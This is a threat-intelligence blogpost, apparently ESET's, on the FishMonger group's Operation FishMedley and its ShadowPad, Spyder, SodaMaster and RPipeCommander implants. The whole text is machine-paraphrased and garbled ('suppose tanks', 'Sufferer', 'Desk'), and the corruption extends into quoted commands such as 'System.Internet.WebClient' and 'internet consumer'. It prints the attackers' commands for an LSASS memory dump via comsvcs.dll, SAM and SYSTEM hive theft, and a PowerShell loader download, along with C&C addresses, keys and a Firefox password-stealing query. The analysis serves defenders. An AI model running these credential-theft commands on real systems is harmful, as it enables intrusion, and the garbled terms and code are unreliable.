Operation FishMedley concentrating on governments, NGOs, and suppose tanks

On March 5^th, 2025, the US DOJ unsealed an indictment towards staff of the Chinese language contractor I‑SOON for his or her involvement in a number of world espionage operations. These embrace assaults that we beforehand documented and attributed to the FishMonger APT group – I‑SOON’s operational arm – together with the compromise of seven organizations that we recognized as being focused in a 2022 marketing campaign that we named Operation FishMedley.

Key factors of this blogpost:

• Verticals focused throughout Operation FishMedley embrace governments, NGOs, and suppose tanks, throughout Asia, Europe, and the USA.
• Operators used implants – corresponding to ShadowPad, SodaMaster, and Spyder – which might be frequent or unique to China-aligned menace actors.
• We assess with excessive confidence that Operation FishMedley was performed by the FishMonger APT group.
• Unbiased of the DOJ indictment, we decided that FishMonger is operated by I‑SOON.

FishMonger profile

FishMonger – a gaggle believed to be operated by the Chinese language contractor I‑SOON (see our Q4 2023-Q1 2024 APT Activity Report) – falls beneath the Winnti Group umbrella and is more than likely working out of China, from the town of Chengdu the place I‑SOON’s workplace was located. FishMonger is also called Earth Lusca, TAG‑22, Aquatic Panda, or Pink Dev 10. We published an evaluation of this group in early 2020 when it closely focused universities in Hong Kong throughout the civic protests that began in June 2019. We initially attributed the incident to Winnti Group however have since revised our attribution to FishMonger.

The group is understood to function watering-hole assaults, as reported by Trend Micro. FishMonger’s toolset consists of ShadowPad, Spyder, Cobalt Strike, FunnySwitch, SprySOCKS, and the BIOPASS RAT.

Overview

On March 5^th, 2025, the US Division of Justice printed a press release and unsealed an indictment towards I‑SOON staff and officers of China’s Ministry of Public Safety concerned in a number of espionage campaigns from 2016 to 2023. The FBI additionally added these named within the indictment to its “most wanted” list and printed a poster, as seen in Determine 1.

The indictment describes a number of assaults which might be strongly associated to what we printed in a private APT intelligence report in early 2023. On this blogpost, we share our technical data about this world marketing campaign that focused governments, NGOs, and suppose tanks throughout Asia, Europe, and the USA. We consider that this data enhances the not too long ago printed indictment.

Throughout 2022, we investigated a number of compromises the place implants corresponding to ShadowPad and SodaMaster, that are generally employed by China-aligned menace actors, have been used. We have been capable of cluster seven impartial incidents for this blogpost and have named that marketing campaign Operation FishMedley.

FishMonger and I-SOON

Throughout our analysis, we have been capable of independently decide that FishMonger is an espionage staff operated by I‑SOON, a Chinese language contractor based mostly in Chengdu that suffered an notorious doc leak in 2024 – see this complete evaluation from Harfang Labs.

Victimology

Desk 1 reveals particulars in regards to the seven victims we recognized. The verticals and international locations are numerous, however most are of apparent curiosity to the Chinese language authorities.

Desk 1. Victimology particulars

Desk 2 summarizes the implants used throughout every intrusion of Operation FishMedley.

Desk 2. Particulars of the implants used towards every sufferer

Technical evaluation

Preliminary entry

We have been unable to establish the preliminary compromise vectors. For many circumstances, the attackers appeared to have had privileged entry contained in the native community, corresponding to area administrator credentials.

At Sufferer D, the attackers gained entry to an admin console and used it to deploy implants on different machines within the native community. It’s possible that they first compromised the machine of a sysadmin or safety analyst after which stole credentials that allowed them to connect with the console.

At Sufferer F, the implants have been delivered utilizing Impacket, which signifies that the attackers one way or the other beforehand compromised a high-privilege area account.

Lateral motion

At Sufferer F, the operators additionally used Impacket to maneuver laterally. They gathered data on different native machines and put in implants.

Desk 3 reveals that the operators first did some handbook reconnaissance utilizing quser.exe, wmic.exe, and ipconfig.exe. Then they tried to get credentials and different secrets and techniques by dumping the native safety authority subsystem service (LSASS) course of (PID 944). The PID of the method was obtained through tasklist /svc and the dump was carried out utilizing comsvcs.dll, which is a identified living-off-the-land binary (LOLBIN). Be aware that it’s possible that the attackers executed quser.exe to see whether or not different customers or admins have been additionally logged in, that means privileged accesses have been current in LSASS. In keeping with Microsoft documentation, to make use of this command the attacker should have Full Management permission or particular entry permission.

In addition they saved the registry hives sam.hive and system.hive, which might each comprise secrets and techniques or credentials.

Lastly, they tried to dump the LSASS course of once more, utilizing a for loop iterating over the output from tasklist.exe. Now we have seen this similar code used on different machines, so it’s a good suggestion to dam or no less than alert on it.

Desk 3. Instructions executed through Impacket on a machine at Sufferer F

Timestamp (UTC)	Command
2022-06-21 07:34:07	quser
2022-06-21 14:41:23	wmic os get lastbootuptime
2022-06-21 14:41:23	ipconfig /all
2022-06-21 14:41:23	tasklist /svc
2022-06-21 14:41:23	C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -c “C:WindowsSystem32rundll32 C:windowssystem32comsvcs.dll, MiniDump 944 c:userspublicmusictemp.tmp full”
2022-06-21 14:41:23	reg save hklmsam C:userspublicmusicsam.hive
2022-06-21 14:41:23	reg save hklmsystem C:userspublicmusicsystem.hive
2022-06-21 14:41:23	internet consumer
2022-06-22 07:05:37	tasklist /v
2022-06-22 07:07:33	dir c:customers
2022-06-22 09:47:52	for /f “tokens=1,2 delims= ” ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | discover “lsass””‘) do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B WindowsTempYDWS6P.xml full

Toolset

ShadowPad

ShadowPad is a well known and privately offered modular backdoor, identified to solely be provided to China-aligned APT teams, together with FishMonger and SparklingGoblin, as documented by SentinelOne. In Operation FishMedley, the attackers used a ShadowPad model filled with ScatterBee.

At Sufferer D, the loader was downloaded utilizing the next PowerShell command:

powershell (new-object System.Internet.WebClient).DownloadFile(“http://<sufferer’s_web_server_IP_address>/Photos/menu/log.dll”;”c:userspubliclog.dll”)

This reveals that the attackers compromised an internet server on the sufferer’s group to make use of it as a staging server for his or her malware.

At Sufferer F, Firefox was used to obtain the loader, from http://5.188.230[.]47/log.dll. We don’t know whether or not attackers had interactive entry to the machine, whether or not one other piece of malware was working within the Firefox course of, or whether or not the sufferer was redirected to the obtain web page, say through a watering-hole assault.

log.dll is side-loaded by an outdated Bitdefender executable (authentic identify: BDReinit.exe) and masses ShadowPad from a file named log.dll.dat, which may be decrypted utilizing the scripts offered in PwC’s GitHub repository.

We didn’t recuperate the log.dll.dat from the sufferer’s machine, however we discovered a pretend Adobe Flash installer on VirusTotal with the equivalent log.dll file. The configuration of the ShadowPad payload is offered in Desk 4.

Desk 4. ShadowPad configuration

Be aware that from March 20^th, 2022 to November 2^nd, 2022, the C&C area resolved to 213.59.118[.]124, which is talked about in a VMware blogpost about ShadowPad.

Spyder

At Sufferer D, we detected one other backdoor sometimes utilized by FishMonger: Spyder, a modular implant that was analyzed in nice element by Dr.Web.

A Spyder loader was downloaded from http://<a_victim’s_web_server_IP_address>/Photos/menu/aa.doc and dropped to C:UsersPublictask.exe round 18 hours after ShadowPad was put in.

The loader – see Determine 2; reads the file c:windowstempguid.dat and decrypts its contents utilizing AES-CBC. The encryption secret’s hardcoded: F4 E4 C6 9E DE E0 9E 82 00 00 00 00 00 00 00 00. The initialization vector (IV) is the primary eight bytes of the important thing. Sadly, we have been unable to recuperate the guid.dat file.

Then, the loader injects the decoded content material – possible shellcode – into itself (job.exe course of) as seen in Determine 3.

Regardless of not acquiring the encrypted last payload, our product did detect a Spyder payload in reminiscence and it was nearly equivalent to the Spyder variant documented by Dr.Net. The C&C server was hardcoded to 61.238.103[.]165.

Curiously, a number of subdomains of junlper[.]com, a identified Spyder C&C area and a weak homoglyph area to juniper.internet, resolved to 61.238.103[.]165 in 2022.

A self-signed TLS certificates was current on port 443 of the server from Could to December 2022, with the thumbprint 89EDCFFC66EDA3AEB75E140816702F9AC73A75F0. In keeping with SentinelOne, it’s a certificates utilized by FishMonger for its C&C servers.

SodaMaster

SodaMaster is a backdoor that was documented by Kaspersky in 2021. APT10 was the primary group identified to have entry to this backdoor however Operation FishMedley signifies that it might now be shared amongst a number of China-aligned APT teams.

SodaMaster can solely be discovered decrypted in reminiscence and that’s the place we detected it. Although we didn’t recuperate the total loading chain, now we have recognized a couple of samples which might be step one of the chain.

SodaMaster loaders

We discovered six totally different malicious DLLs which might be abusing reputable executables through DLL side-loading. All of them implement the identical decryption and injection routine.

First, the loader reads a hardcoded file, for instance debug.png, and XOR decrypts it utilizing a hardcoded 239-byte key. Desk 5 summarizes the totally different loaders. Be aware that the XOR key can also be totally different in every pattern, however too lengthy to be included within the desk. Additionally be aware that we didn’t recuperate any of those encrypted payloads.

Desk 5. SodaMaster loaders

Then, the decrypted buffer is injected right into a newly created, suspended svchost.exe course of – see Determine 4.

Lastly, the shellcode is executed utilizing both CreateRemoteThread (on Home windows XP or older variations) or, on newer Home windows variations, through NtCreateThreadEx as proven in Determine 5.

The final 4 loaders in Desk 5 have extra options:

• They’ve an export named getAllAuthData that implements a password stealer for Firefox. It reads the Firefox SQLite database and runs the question SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins.
• The final three loaders persist as a service named Netlock, MsKeyboardFiltersrv, and downmap, respectively.

SodaMaster payload

As talked about above, the SodaMaster payload was publicly analyzed by Kaspersky and the samples we’ve discovered don’t appear to have developed a lot. They nonetheless implement the identical 4 backdoor instructions (d, f, l, and s) that have been current in 2021.

Desk 6 reveals the configurations from the 4 totally different SodaMaster payloads that we recognized. Operators used a unique C&C server per sufferer, however we will see that Victims B and C share the identical hardcoded RSA key.

Desk 6. SodaMaster configuration

Sufferer	C&C server	RSA key
B	162.33.178[.]23	MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6CgXMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDVDPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeVZoKjcxAgMBAAE=
C	78.141.202[.]70	MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6CgXMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDVDPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeVZoKjcxAgMBAAE=
F	192.46.223[.]211	MIGJAoGBAMYOg+eoTREKaAESDXt3Uh3Y4J84ObD1dfl3dOji0G24UlbHdjUk3e+/dtHjPsRZOfdLkwtz8SIZZVVt3pJGxgx9oyRtckJ6zsrYm/JIK+7bXikGf7sgs5zCItcaNJ1HFKoA9YQpfxXrwoHMCkaGb9NhsdsQ2k2q4jT68Hygzq19AgMBAAE=
G	168.100.10[.]136	MIGJAoGBAJ0EsHDp5vtk23KCxEq0tAocvMwn63vCqq0FVmXsY+fvD0tP6Nlc7k0lESpB4wGioj2xuhQgcEjXEkYAIPGiefYFovxMPVuzp1FsutZa5SD6+4NcTRKsRsrMTZm5tFRuuENoEVmOSy3XoAS00mu4MM5tt7KKDlaczzhYJi21PGk5AgMBAAE=

RPipeCommander

At Sufferer D, we captured a beforehand unknown implant in the identical course of the place Spyder was working. It was most likely loaded from disk or downloaded by Spyder. As a result of its DLL export identify was rcmd64.dll, we named this implant RPipeCommander.

RPipeCommander is multithreaded and makes use of IoCompletionPort to handle the I/O requests of the a number of threads. It creates the named pipe .PipeCmdPipe<PID>, the place <PID> is the present course of ID, and reads from and writes into this pipe.

RPipeCommander is a reverse shell that accepts three instructions through the named pipe:

• h (0x68): create a cmd.exe course of and bind pipes to the method to ship instructions and skim the output.
• i (0x69): Write a command within the present cmd.exe course of or learn the output of the earlier command.
• j (0x6A): exit the cmd.exe course of by writing exitrn within the command shell.

Be aware that it appears we solely have the server facet of RPipeCommander. It’s possible {that a} second element, a consumer, is used to ship instructions to the server from one other machine on the native community.

Lastly, RPipeCommander is written in C++ and RTTI data was included within the captured samples, permitting us to acquire a few of the class names:

• CPipeServer
• CPipeBuffer
• CPipeSrvEvent
• CPipeServerEventHandler

Different instruments

Along with the primary implants described above, the attackers used a couple of extra instruments to gather or exfiltrate knowledge, which we describe in Desk 7.

Desk 7. Different instruments used throughout Operation FishMedley

Conclusion

On this blogpost, now we have proven how FishMonger performed a marketing campaign towards high-profile entities all all over the world and was the topic of a US DOJ indictment in March 2025. We additionally confirmed that the group will not be shy about reusing well-known implants, corresponding to ShadowPad or SodaMaster, even lengthy after they’ve been publicly described. Lastly, now we have independently confirmed that FishMonger is a staff that’s a part of the Chinese language firm I‑SOON.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at [email protected]. 

ESET Analysis affords personal APT intelligence stories and knowledge feeds. For any inquiries about this service, go to the ESET Threat Intelligence web page.

IoCs

A complete checklist of indicators of compromise (IoCs) and samples may be present in our GitHub repository.

Recordsdata

Community

MITRE ATT&CK methods

This desk was constructed utilizing version 16 of the MITRE ATT&CK framework.